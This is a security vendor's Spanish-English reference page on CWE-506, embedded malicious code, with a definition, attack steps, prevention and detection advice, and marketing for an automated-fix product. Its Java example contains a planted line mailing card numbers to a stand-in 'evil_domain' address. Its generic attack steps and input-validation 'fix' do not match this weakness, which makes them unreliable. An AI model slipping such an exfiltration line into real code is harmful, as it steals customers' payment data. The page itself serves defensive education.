CWE-506 Clase Incompleto

Embedded Malicious Code

This vulnerability occurs when an application or codebase contains intentionally harmful code inserted by a developer or third party.

Definición

What is CWE-506?

This vulnerability occurs when an application or codebase contains intentionally harmful code inserted by a developer or third party.
Often called a Trojan horse, logic bomb, time bomb, or backdoor, this malicious code is designed to perform a legitimate function while secretly exploiting the system's permissions. The developer who inserts it typically aims to bypass security controls, steal data, or cause damage at a specific future trigger, abusing the trust placed in the application. Detecting these intentional flaws requires scrutinizing code for unexpected behaviors, hidden payloads, or suspicious time-based logic. Managing this risk at scale is difficult; an ASPM platform like Plexicus can help by correlating SAST findings with behavioral anomalies and using AI to prioritize these high-severity, intentional threats across your entire software supply chain.
Impacto en el mundo real

Real-world CVEs caused by CWE-506

  • A command history tool was shipped with a code-execution backdoor inserted by a malicious party.

Cómo lo explotan los atacantes

Ruta del atacante paso a paso

  1. 1

    Identifica una ruta de código que maneje entrada no confiable sin validación.

  2. 2

    Crea un payload que ejercite el comportamiento inseguro — inyección, traversal, overflow o abuso de lógica.

  3. 3

    Envía el payload a través de una solicitud normal y observa la reacción de la aplicación.

  4. 4

    Itera hasta que la respuesta filtre datos, ejecute código del atacante o escale privilegios.

Ejemplo de código vulnerable

Vulnerable Java

In the example below, a malicous developer has injected code to send credit card numbers to the developer's own email address.

Vulnerable Java
boolean authorizeCard(String ccn) {
```
// Authorize credit card.* 
  		
  		
  		 *...* 
  		
  		mailCardNumber(ccn, "evil_developer@evil_domain.com");}
Ejemplo de código seguro

Secure pseudo

Seguro pseudo
// Validate, sanitize, or use a safe API before reaching the sink.
function handleRequest(input) {
  const safe = validateAndEscape(input);
  return executeWithGuards(safe);
}
What changed: the unsafe sink is replaced (or the input is validated/escaped) so the same payload no longer triggers the weakness.
Lista de prevención

How to prevent CWE-506

  • Testing Remove the malicious code and start an effort to ensure that no more malicious code exists. This may require a detailed review of all code, as it is possible to hide a serious attack in only one or two lines of code. These lines may be located almost anywhere in an application and may have been intentionally obfuscated by the attacker.
Señales de detección

How to detect CWE-506

Manual Static Analysis - Binary or Bytecode SOAR Partial

According to SOAR [REF-1479], the following detection techniques may be useful: ``` Cost effective for partial coverage: ``` Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies Generated Code Inspection

Dynamic Analysis with Manual Results Interpretation SOAR Partial

According to SOAR [REF-1479], the following detection techniques may be useful: ``` Cost effective for partial coverage: ``` Automated Monitored Execution

Manual Static Analysis - Source Code SOAR Partial

According to SOAR [REF-1479], the following detection techniques may be useful: ``` Cost effective for partial coverage: ``` Manual Source Code Review (not inspections)

Automated Static Analysis SOAR Partial

According to SOAR [REF-1479], the following detection techniques may be useful: ``` Cost effective for partial coverage: ``` Origin Analysis

Auto-corrección de Plexicus

Plexicus detecta automáticamente CWE-506 y abre un PR de corrección en menos de 60 segundos.

Codex Remedium escanea cada commit, identifica esta debilidad concreta y entrega un pull request listo para revisión con el parche. Sin tickets. Sin traspasos.

Preguntas frecuentes

Frequently asked questions

¿Qué es CWE-506?

This vulnerability occurs when an application or codebase contains intentionally harmful code inserted by a developer or third party.

¿Qué gravedad tiene CWE-506?

MITRE no ha publicado una calificación de probabilidad de explotación para esta debilidad. Trátala como de impacto medio hasta que tu modelo de amenazas demuestre lo contrario.

¿Qué lenguajes o plataformas se ven afectados por CWE-506?

MITRE no ha especificado plataformas afectadas para esta CWE — puede aplicar a la mayoría de los stacks de aplicaciones.

¿Cómo puedo prevenir CWE-506?

Remove the malicious code and start an effort to ensure that no more malicious code exists. This may require a detailed review of all code, as it is possible to hide a serious attack in only one or two lines of code. These lines may be located almost anywhere in an application and may have been intentionally obfuscated by the attacker.

¿Cómo detecta y corrige Plexicus CWE-506?

El motor SAST de Plexicus detecta la firma de flujo de datos para CWE-506 en cada commit. Cuando hay coincidencia, nuestro agente Codex Remedium abre un PR de corrección con el código corregido, las pruebas y un resumen de una línea para el revisor.

¿Dónde puedo aprender más sobre CWE-506?

MITRE publica la definición canónica en https://cwe.mitre.org/data/definitions/506.html. También puedes consultar la documentación de OWASP y NIST para guías relacionadas.

Listo cuando tú lo estés

Deja de pagar por desarrollador.
Empieza a cerrar el bucle.

Plexicus es el ASPM nativo de IA que escanea, filtra, corrige, pentestea y explica — de forma autónoma. Desarrolladores ilimitados, repos ilimitados, acciones de IA de uso justo. Nivel gratuito real, €269/mo anual cuando estés listo.